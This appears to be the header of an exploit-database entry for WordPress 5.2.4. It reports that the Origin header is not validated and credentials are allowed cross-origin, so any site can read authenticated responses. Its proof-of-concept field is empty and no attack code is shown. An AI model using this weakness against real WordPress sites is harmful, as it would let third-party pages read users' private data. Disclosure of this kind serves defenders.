# Date: 2019-10-28  
# Exploit Author: Milad Khoshdel  
# Software Link: https://wordpress.org/download/  
# Version: Wordpress 5.2.4  
# Tested on: Linux Apache/2 PHP/7.2  
# Vulnerable Page:  
# POC:  
# The web application fails to properly validate the Origin header (check Details section for more information)   
# and returns the header Access-Control-Allow-Credentials: true. In this configuration any website can issue   
# requests made with user credentials and read the responses to these requests. Trusting arbitrary   
# origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites.
